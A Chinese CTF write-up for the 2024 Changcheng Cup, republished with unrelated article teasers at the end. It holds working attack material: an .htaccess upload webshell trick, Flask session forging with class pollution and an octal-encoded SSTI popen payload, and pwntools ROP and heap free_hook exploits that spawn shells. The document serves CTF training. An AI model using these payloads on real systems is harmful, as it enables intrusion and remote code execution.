2024长城杯WP

news2024/11/26 20:31:57

WEB

SQLUP

打开题目给了一个登录页面结合名字猜测为SQL注入

查看源码发现有hint提示开发者使用的是模式匹配

所以我尝试使用%来模糊匹配,登陆成功

username=admin&password=%

进入面板之后发现有一个文件上传功能

尝试上传php文件,结果被waf,文件名字不能出现p

我想到了使用.htaccess文件来解析gif文件来getshell
先上传.htaccess文件, 将1.gif当作php解析

<FilesMatch "1.gif">
SetHandler application/x-httpd-php
</FilesMatch>

接着上传1.gif文件

之后访问uploads/1.gif即可getshell,但是还需要提权读取flag

寻找提权命令

find / -perm -u=s -type f 2>/dev/null

发现tac命令可以使用

CandyShop

源码如下

import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re


app = Flask(__name__)

app.config['SECRET_KEY'] = 'xxxxxxx'

class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Register')

class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Login')

class Candy:
    def __init__(self, name, image):
        self.name = name
        self.image = image

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def verify_password(self, username, password):
        return (self.username==username) & (self.password==password)
class Admin:
    def __init__(self):
        self.username = ""
        self.identity = ""

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
    Candy(name="Chocolate Bar", image="images/candy2.jpg"),
    Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, password=form.password.data)
        users.append(user)
        return redirect(url_for('login'))

    return render_template('register.html', form=form)

@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        for u in users:
            if u.verify_password(form.username.data, form.password.data):
                session['username'] = form.username.data
                session['identity'] = "guest"
                return redirect(url_for('home'))

    return render_template('login.html', form=form)

inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():
    global inventory, sold
    message = None
    username = session.get('username')
    identity = session.get('identity')

    if not username:
        return redirect(url_for('register'))

    if sold >= 10 and sold < 500:
        sold = 0
        inventory = 500
        message = "But you have bought too many candies!"
        return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

    if request.method == 'POST':
        action = request.form.get('action')
        if action == "buy_candy":
            if inventory > 0:
                inventory -= 3
                sold += 3
            if inventory == 0:
                message = "All candies are sold out!"
            if sold >= 500:
                with open('secret.txt', 'r') as file:
                    message = file.read()

    return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session,admin)
    admin_user.append(admin)
    return render_template('admin.html', view='index')

@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    return render_template('admin.html', view='candies', candies=candies)

@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    candy_name = request.form.get('name')
    candy_image = request.form.get('image')
    if candy_name and candy_image:
        new_candy = Candy(name=candy_name, image=candy_image)
        candies.append(new_candy)
    return render_template('admin.html', view='add_candy')

@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
    global inventory
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    if request.form.get('add'):
        num = request.form.get('add')
        inventory += int(num)
    return render_template('admin.html', view='add_inventory')

@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=1337)

爆破session key得到 a123456

flask-unsign -u -c "eyJjc3JmX3Rva2VuIjoiYmI5N2MxMGJhYTlhZTUzZDhiMTQ5NWVkNTVkZjcxNjQ0OTc0NjY4ZiIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IjEyMyJ9.Zt0WUA.FitsqnryV6luxUpGkUgwqDK8UDA"

session解密

┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master]
└─$ python2 flask_session_cookie_manager2.py decode -c .eJwNy8EKgCAMANB_2blDqW3Sz4S2LSQ0SDtE9O95ffBe2OqlazsPKbAAT6weoyhNihZn44PGjZwjGxGRrHBwZEYYILGUltrT135LbZ3uKlcJWToFzqnA9wOF2h3A.Zt025A.Z9OU_8Xax0lafOyjFTrx1WJ90qc

{"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"guest","username":"admin"}

伪造加密session

┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master]
└─$ python3 flask_session_cookie_manager3.py encode -s a123456 -t '{"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"admin","username":"admin"}'

eyJpZGVudGl0eSI6ImFkbWluIiwidXNlcm5hbWUiOiIxMjMifQ.Zt0hvg.ej8rVrvsHOttUQIIMgmE2w0kSto

伪造污染inventory

python3 flask_session_cookie_manager3.py encode -s a123456 -t "{'identity':'admin','username':'123','__init__':{'__globals__':{'inventory':'{{7*7}}'}}}"

观察源码发现存在原型链污染

@app.route('/admin', methods=['GET', 'POST'])

def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session,admin)
    admin_user.append(admin)

    return render_template('admin.html', view='index')

并发现存在ssti漏洞

@app.route('/admin/view_inventory', methods=['GET', 'POST'])

def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

结合原型链污染,我们可以污染全局变量inventory来造成ssti

{"__init__":{"__globals__":{"inventory":"{{7*7}}"}}

但是源码过滤了字母和下划线

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))

尽管禁用了字母但还可以用八进制绕过!
使用脚本伪造payload

input = "cat /tmp/9fb871d06639d7665f8c2005f87200fe/e586231aabe38cf5befd176a1ff25fec/6a5d614cfdcd840afead8e3497595126/flag"

print("\\'", end="")

for letter in input:

    #print(hex(ord(letter)).replace("0x", r"\x"), end="")

    #print(hex(ord(letter)).replace("0x", r"\u00"), end="")

    print(oct(ord(letter)).replace("0o", "\\\\"), end="")

print("\\'")

#python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}"



#{{''['\\137\\137\\143\\154\\141\\163\\163\\137\\137']}}

# __class__;\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'

# __mro__:\'\\137\\137\\155\\162\\157\\137\\137\'

# __base__: \'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'

#__subclasses__:\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\'  [132]

#__init__:\'\\137\\137\\151\\156\\151\\164\\137\\137\'

#__globals__:\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'

#popen: \'\\160\\157\\160\\145\\156\'

# cat /f*;\'\\143\\141\\164\\40\\57\\146\\52\'
PS C:\Users\86150\Desktop\flask-session-cookie-manager-1.2.1.1> python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}"

.eJx9UttugzAM_RdeWKU9kMR2qv5KOyEoMKG1VGrZpAnx78vFbgOd-oDl2MfnHIdM2fF27crx8tUO2S5rVNNtqW47qzoyhHpbdfXRAlhTE5E1bVOB1UX2nvVNO4z9-OumqubcD670fWuvQ3Vuk1JZ9kM_lmW2m1z-ebrU1ekWj_3w4xguV88wTXm-zw8HZawEMC4g-Ey5QEYCQ_KP1QCiR2if2QVMrZGRy8NBv1ICfNJ82-yV0U_Sfg5JMoIXNsGKWrAZHSip_bMhFYINWTCF5Kzk4h1EFBwgIuF-IVyyHgPEitZVyVUpVB3Yw4j4MwIHRkkDmcMWLO2vO4wWq24YS5osjezPJx5vRVZH2ejnEbRgTSIauJLfh3d6iAziOZDQY3ERwtRPoMTFBAoXMR-kyqHFR-AVQLZUS2qVgO6LeLQVm8g5spSOsvGWaPEwweab-CL0SsC_y3nO5nn-A-EVDjQ.Zt1CFQ.mbfc47fCCO-papkcsSiUKBJXNaI

MISC

BrickGame

修改一下js,跳过匹配的验证即可得到flag

漏洞探踪,流量解密

第一阶段发现上传了图片马,并通过访问gateway传参执行了命令

然后在日志中可以看到上传gateway.php的主机ip地址为192.168.30.234

因此压缩包密码为192.168.30.234

打开压缩包,还是一个流量文件,用wireshark打开,导出http流,查看其中gateway.php文件中执行的命令和回显。

在某一个文件中找到了提示,加密方式是RC4

在剩余文件中找到了key和raw,即秘钥和密文

把raw前面的key删了用rc4解密就得到flag了

分析第二个流量包,发现使用命令从192.168.1.5 下载了raw和key


得到了加密的flag和key后,在后续流量包提示加密为RC4:

解密得到flag

from Crypto.Cipher import ARC4
raw = bytes.fromhex("5a76f6751576dbe1af49328aa1d2d2bea16ef62afa3a7c616d")
key = bytes.fromhex("bdb8e21eace81d5fd21ca445ccb35071")
cipher = ARC4.new(key)
plaintext = cipher.decrypt(raw)

最安全的加密方式

flag: flag{The_m0st_2ecUre_eNcrYption!!!}
流量包一开始有很多数据库的流量,未知
直接筛选http协议,发现有三个post请求,一个上传了php文件,一个上传了图片,一个上传了压缩包

下载附件打开,用Wireshark打开流量,点击左上角文件里的导出对象里的http,将里面的文件全部导出
将每个文件依次使用记事本打开,发现index(3).php和index(6).php文件里的内容与其他不同,打开index(6).php发现rar头
然后进入wireshark将将它进行原始数据进行转换,转换之后将红色部分的原始数据在010中创建一个16进制文件如何将红色部分的在010中按crl+shift+v复制下来将多余的数据删掉,前面找到rar部分,最前面都删掉,后面的---的全部删掉,得到一个压缩包,需要密码,在另一个文件中找到密码

使用php脚本中的pass可以打开压缩包,发现文本文件flag.txt
貌似是单个字符的md5,直接爆破:

import hashlib
from string import printable as all

charset = all
data = open("flag.txt", "r").readlines()

md5s = dict()
for i in charset:
    md5s[hashlib.md5(i.encode()).hexdigest()] = i

print("".join([md5s[i.strip()] for i in data]))

Reverse

easyre

根据反编译代码结合动调后发现只是简单的异或,但只能得到部分flag,后来发现在比较的数据下面有更全的加密后数据,提取出来解密可得

1
data = '0d774a04070301575303555405574F4B5100564C4E540102191B00570549140A04030D5F05051D1C060D0A54'
2
3
last = 50
4
for i in range(43, -1, -1):
5
    char = int(data[i * 2:i * 2 + 2], 16) ^ last
6
    print(chr(char), end='')
7
    last = char
8
# flag{fcf94739-da66-467c-a77f-b50d12a67437}

tmaze

动态调试发现迷宫存在内存中,利用地址跳转来走迷宫。经分析后发现和之前数字中国创新大赛半决赛的 HardTree 大同小异,直接把之前的脚本改改就能用了。

首先开启动调后将迷宫所在的内存使用脚本dump出来

1
auto i,fp;
2
fp = fopen("E:\\a\\ctf\\ccb\\re\\tmaze_16A051A0000_16A051B3000.dmp","wb");
3
for (i = 0x16A051A0000; i <= 0x16A051B3000; i++)
4
     fputc(Byte(i),fp);

然后走迷宫

43
1
ase_addr = 0x16A051A0000
2
start_addr = 0x16A051B1480 - base_addr
3
end_addr = 0x16A051B1840 - base_addr
4
5
dump_file = open('tmaze_16A051A0000_16A051B3000.dmp', 'rb')
6
file = dump_file.read()
7
8
def bytes_to_addr(byte_str):
9
    num = 0
10
    for ch in byte_str[::-1]:
11
        num *= 256
12
        num += ch
13
    return num
14
15
have_node = []
16
node_path = []
17
18
def read_node(node):
19
    if node not in have_node:
20
        if node == end_addr:
21
            print(''.join(node_path))
22
            exit()
23
        have_node.append(node)
24
        # print(node)
25
        x_node = bytes_to_addr(file[node:node + 8]) - base_addr
26
        y_node = bytes_to_addr(file[node + 8:node + 16]) - base_addr
27
        z_node = bytes_to_addr(file[node + 16:node + 24]) - base_addr
28
        if x_node > 0 and file[node+24] == 0:
29
            node_path.append('x')
30
            read_node(x_node)
31
            node_path.pop()
32
        if y_node > 0 and file[node+25] == 0:
33
            node_path.append('y')
34
            read_node(y_node)
35
            node_path.pop()
36
        if z_node > 0 and file[node+26] == 0:
37
            node_path.append('z')
38
            read_node(z_node)
39
            node_path.pop()
40
        have_node.pop()
41
42
read_node(start_addr)
43
# yzyzyzyzyyzxzyyyzxzyzxxxzxzyyyyyyyyzxzxzyy

屏幕截图 2024-09-08 132524

得到flag{4bb5dac3-c578-66a2-d97a-664be7965820}

CRYPTO

RandomRSA

普遍意义上来说,nextprime不会超出枚举范围,两层组合,复杂度上来看也依然可以尝试,

n的结构很简单的二元式子,flag也证明了只需爆破,一些格的做法这里似乎找不到合适的放缩,维度也较低,故而放弃

from Crypto.Util.number import *
from sympy.ntheory.residue_ntheory import nthroot_mod

p = 170302223332374952785269454020752010235000449292324018706323228421794605831609342383813680059406887437726391567716617403068082252456126724116360291722050578106527815908837796377811535800753042840119867579793401648981916062128752925574017615120362457848369672169913701701169754804744410516724429370808383640129
a = 95647398016998994323232737206171888899957187357027939982909965407086383339418183844601496450055752805846840966207033179756334909869395071918100649183599056695688702272113280126999439574017728476367307673524762493771576155949866442317616306832252931038932232342396406623324967479959770751756551238647385191314
b = 122891504335833588148026640678812283515533067572514249355105863367413556242876686249628488512479399795117688641973272470884323873621143234628351006002398994272892177228185516130875243250912554684234982558913267007466946601210297176541861279902930860851219732696973412096603548467720104727887907369470758901838
n = 5593134172275186875590245131682192688778392004699750710462210806902340747682378400226605648011816039948262008066066650657006955703136928662067931212033472838067050429624395919771757949640517085036958623280188133965150285410609475158882527926240531113060812228408346482328419754802280082212250908375099979058307437751229421708615341486221424596128137575042934928922615832987202762651904056934292682021963290271144473446994958975487980146329697970484311863524622696562094720833240915154181032649358743041246023013296745195478603299127094103448698060367648192905729866897074234681844252549934531893172709301411995941527
c = 2185680728108057860427602387168654320024588536620246138642042133525937248576850574716324994222027251548743663286125769988360677327713281974075574656905916643746842819251899233266706138267250441832133068661277187507427787343897863339824140927640373352305007520681800240743854093190786046280731148485148774188448658663250731076739737801267702682463265663725900621375689684459894544169879873344003810307496162858318574830487480360419897453892053456993436452783099460908947258094434884954726862549670168954554640433833484822078996925040310316609425805351183165668893199137911145057639657709936762866208635582348932189646
e = 65537

for k1 in range(1000):
    for k2 in range(1000):
        A = a
        B = b + k2 + k1 * a
        C = k1 * (b + k2) - n
        # Ax^2 + Bx + C - n = 0
        # 求根公式
        delta = nthroot_mod(B**2 - 4 * A * C,2,p)
        p1 = (-B + delta) * inverse(2 * A, p) % p + k1
        p2 = (-B - delta) * inverse(2 * A, p) % p + k1
        if n % p1 == 0:
            p = p1
            q = n // p
            d = inverse(e, (p - 1) * (q - 1))
            print(long_to_bytes(pow(c, d, n)))
        elif n % p2 == 0:
            p = p2
            q = n // p
            d = inverse(e, (p - 1) * (q - 1))
            print(long_to_bytes(pow(c, d, n)))


大约3h

‍ b'flag{j1st_e_s1mp1e_b3ute}' ‍

PWN

FlowerShop

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=process('./pwn')
elf=ELF('./pwn')
bin_sh=0x601840
pay=b'\x00'*52+b'pwn\x00'+b'\xff\xff\xff\xff'
p.send(pay)
p.sendline(b'a')
p.sendline(b'c')
p.sendline(str(1))
p.sendline(b'a')
p.sendline(str(1))
p.sendline(b'a')
p.sendline(str(1))
p.sendline(b'b')
rdi=0x0000000000400f13
payload=b'a'*0x18+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(0x400730)

p.send(payload)
p.sendline(str(1))

p.interactive()

Kylin_Heap

image

漏洞点位于free这个地方,由于没有清空指针造成的uaf,通过这个即可泄露地址和进行任意地址写,由于libc版本为2.31,所以劫持free_hook

from pwn import *
import json
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p=remote("IP",PORT)
elf = ELF('./Heap')
libc = ELF('./libc-2.31-0kylin9.2k0.2.so')

def add(size,content):
        sla(b'What will you do, adventurer? ',b'1')
        sla(b'Enter the size of the block you wish to summon (1 to 1280 bytes): ',str(size))
        sla(b'bytes):\n',content)

def free(idx):
        sla(b'What will you do, adventurer? ',b'2')
        sla(b'index (0-19): ',str(idx))

def edit(idx,content):
        sla(b'What will you do, adventurer? ',b'3')
        sla(b'index (0-19): ',str(idx))
        sla(b'bytes):\n',content)

def show(idx):
        sla(b'What will you do, adventurer? ',b'4')    
        sla(b'index (0-19): ',str(idx))

add(0x460,b'a'*0x10)
add(0x20,b'a'*8)
free(0)
show(0)
p.recvline()
libc_base=u64(p.recv(6).ljust(8,b'\x00'))

free_hook=libc_base+0x2f48
malloc_hook=libc_base-0x70

for i in range(9):
        add(0x68,b'a'*1)
for i in range(9):
        free(i+1)
system=libc_base-0x1967d0
edit(9,p64(free_hook-0x10))
for i in range(7):
        add(0x68,b'a'*8)
add(0x68,b'/bin/sh\x00'*1)
add(0x68,b'/bin/sh\x00'*1)
edit(19,p64(system))
print(hex(libc_base))
free(18)
p.interactive()

转自参考原文连接地址:


     
     
https://xz.aliyun.com/t/15560?time__1311=Gqjxn7iti%3DiQDQD%2Fm%3D0%3DDOKN0QynZOOA3frD#toc-1
h ttps://blog.csdn.net/weixin_74427106/article/details/142039971
https://lrhtony.cn/2024/09/09/2024ccb/
http://www.andynoel.xyz/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2204791.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

c#中多态的实例应用说明

在C#中&#xff0c;多态性是通过继承和实现接口来实现的&#xff0c;允许编写可以使用基类型的代码&#xff0c;然后使用派生类型的特定行为。 一.实例界面显示 二.源码界面显示 //定义的基类abstract class Shape{public abstract int Area();//基类中的抽象方法}//定义矩形的…

获得淘宝商品详情高级版 API 返回值实践流程

淘宝详情API接口的测试流程是一个系统而全面的过程&#xff0c;旨在确保API接口的稳定性和可靠性。以下是详细的测试流程&#xff0c;包括测试前的准备工作、测试步骤、测试后的总结&#xff0c;以及必要的测试工具和注意事项。 一、测试前的准备工作 了解API调用文档&#x…

LabVIEW 成绩统计系统

✅作者简介&#xff1a;2022年博客新星 第八。热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 &#x1f49e;当前专栏…

vue3实现登录获取token并自动刷新token进行JWT认证

在《django应用JWT(JSON Web Token)实战》介绍了如何通过django实现JWT&#xff0c;并以一个具体API接口实例的调用来说明JWT如何使用。本文介绍如何通过vue3的前端应用来使用JWT认证调用后端的API接口&#xff0c;实现一下的登录认证获取JWT进行接口认证。 一、账号密码登录获…

ViT模型技术学习

前言 最近多模态模型特别火&#xff0c;模型也越来越小&#xff0c;MiniCPM-2.6只有8B&#xff0c;里面采用的图片编码器是SigLipViT模型&#xff0c;一起从头学习ViT和Transformer&#xff01;本文记录一下学习过程&#xff0c;所以是自上而下的写&#xff0c;从ViT拆到Trans…

Python Memcached 的工作原理

Python 解释 Memcached 的工作原理 在现代 Web 应用程序中&#xff0c;性能和响应速度是影响用户体验的关键因素。随着应用的用户数量和数据量的增加&#xff0c;数据库查询次数变得更加频繁&#xff0c;服务器负载也随之增加。如果每次请求都要通过数据库处理&#xff0c;那么…

【vue】监听table水平滚动条切换tab后还原位置

有个需求就是切换tab后&#xff0c;原先的table水平滚动条要还原位置&#xff08;如下图&#xff09;&#xff0c;先说下思路&#xff0c;大致就是 切出页面时 把滚动距离保存到Storage 中&#xff0c;切回来时在恢复 直接上代码 首先table ref指定一下ref"jtable" …

使用Python编写你的第一个算法交易程序

背景 Background ​ 最近想学习一下量化金融&#xff0c;总算在盈透投资者教育&#xff08;IBKRCampus&#xff09;板块找到一篇比较好的算法交易入门教程。我在记录实践过程后&#xff0c;翻译成中文写成此csdn博客&#xff0c;分享给大家。 ​ 如果你的英语好可以直接看原文…

秋日相邀!与 deepin 一起逛 OSCAR 开源产业大会开源市集

查看原文 10 月 16 日&#xff0c;“2024 OSCAR 开源产业大会”将在北京开幕。这场大会不仅是开源领域一年一度的盛会&#xff0c;更是一个汇集众多行业专家、技术领袖和开源爱好者的交流平台。大会将围绕开源技术的最新发展、产业应用、风险治理以及未来趋势等议题展开深入讨…

TCP连接重置,到底是怎么回事?

号主&#xff1a;老杨丨11年资深网络工程师&#xff0c;更多网工提升干货&#xff0c;请关注公众号&#xff1a;网络工程师俱乐部 上午好&#xff0c;我的网工朋友 连接建立失败并不仅仅包含无响应问题&#xff0c;还有一种常见的情况&#xff0c;即RST&#xff08;Reset&…

kubernetes中微服务部署

微服务 问&#xff1a;用控制器来完成集群的工作负载&#xff0c;那么应用如何暴漏出去&#xff1f; 答&#xff1a;需要通过微服务暴漏出去后才能被访问 Service 是一组提供相同服务的Pod对外开放的接口借助Service&#xff0c;应用可以实现服务发现和负载均衡Service 默认只…

网优学习干货:王者荣耀游戏用户体验洞察及质差识别(1)

一、课题背景 二、课题目的 针对热点游戏&#xff08;王者荣耀&#xff09;进行业务质量评估&#xff0c;并通过对端到端定界分析&#xff0c;从无线、核心网、互联网维度识别影响用户体验关键因素&#xff0c;为游戏用户的体验优化提供依据。 三、课题实施进度 王者荣耀卡顿特…

基于STM32的智能门锁

基于STM32的智能门锁 在现代家居安全领域&#xff0c;智能门锁已经成为提升居住安全和便利性的关键技术之一。本文将介绍一个基于STM32微控制器的智能门锁项目&#xff0c;该项目集成了多种模块&#xff0c;包括步进电机、矩阵键盘、OLED显示屏、蓝牙模块和RFID刷卡模块&#…

小程序项目实践(一)--项目的初始化以及前期的准备工作

目录 1.起步 1.1 uni-app 简介 1.2 开发工具 1.2.1 下载 HBuilderX 1.2.2 安装 HBuilderX 1.2.3 安装 scss/sass 编译 1.2.4 快捷键方案切换 1.2.5 修改编辑器的基本设置 1.3 新建 uni-app 项目 1.4 目录结构 1.5 把项目运行到微信开发者工具 1.6 使用 Git 管理项目 …

DDIM扩散模型相关原理

DDIM扩散模型相关原理 Denoising Diffusion Implicit Models 论文下载地址&#xff1a;https://arxiv.org/abs/2010.02502

CentOS 安装 nvm+Node.js

CentOS 安装 nvmNode.js 文章目录 CentOS 安装 nvmNode.js一、安装nvm①&#xff1a;更新系统包②&#xff1a;安装依赖③&#xff1a;安装 NVM④&#xff1a;配置 NVM⑤&#xff1a;验证安装 二、安装 Node.js①&#xff1a;查看可安装版本②&#xff1a;安装&#xff08;指定…

腾讯广告-web转化数据api自归因对接记录

文章目录 前言一、参考文档记录二、使用步骤1.整体流程&#xff08;可以根据官方最新的文档来做&#xff09;2.关于上报代码参考3.关于uniapp网页在history模式下接收不到url参数的问题 总结 前言 项目中需要做对扫码加粉的监测&#xff0c;于是用到了腾讯广告的Web转化数据AP…

七载耕耘,全面盘点:Zabbix实战文章精华大全分享

在数字化转型的加速推进中&#xff0c;IT监控系统的稳定与高效性已成为企业IT运维战略的核心要素。Zabbix作为开源监控领域的佼佼者&#xff0c;凭借其卓越的功能集成、灵活的定制能力以及相对经济的运营成本&#xff0c;成功吸引了全球范围内众多企业的目光。 在国内&#xf…

zynq sdk裸机开发调试问题,不能进入中断问题

zynq sdk裸机开发总是时不时的就不能进入中断了, 找来找去的找不到原因. 后来我经过多次尝试. 将问题限位到非常小的范围. 只用了最普通的内部定时器, 开启中断也是偶尔会进去偶尔会进不去. 我的版本是 2018.3 后来多次尝试慢慢的摸索出经验规律, 只要修改过代码重新开始调试.就…

Math.js 基础使用:常用的数值操作

一. 引言 在进行数学计算和处理时&#xff0c;JavaScript 提供了许多强大的工具函数&#xff0c;其中最常用且广泛应用的就是 Math 对象中的函数。无论是进行简单的数值操作还是复杂的数学运算&#xff0c;Math 工具函数都能发挥出强大的作用。 本篇文章将带您探索 JavaScrip…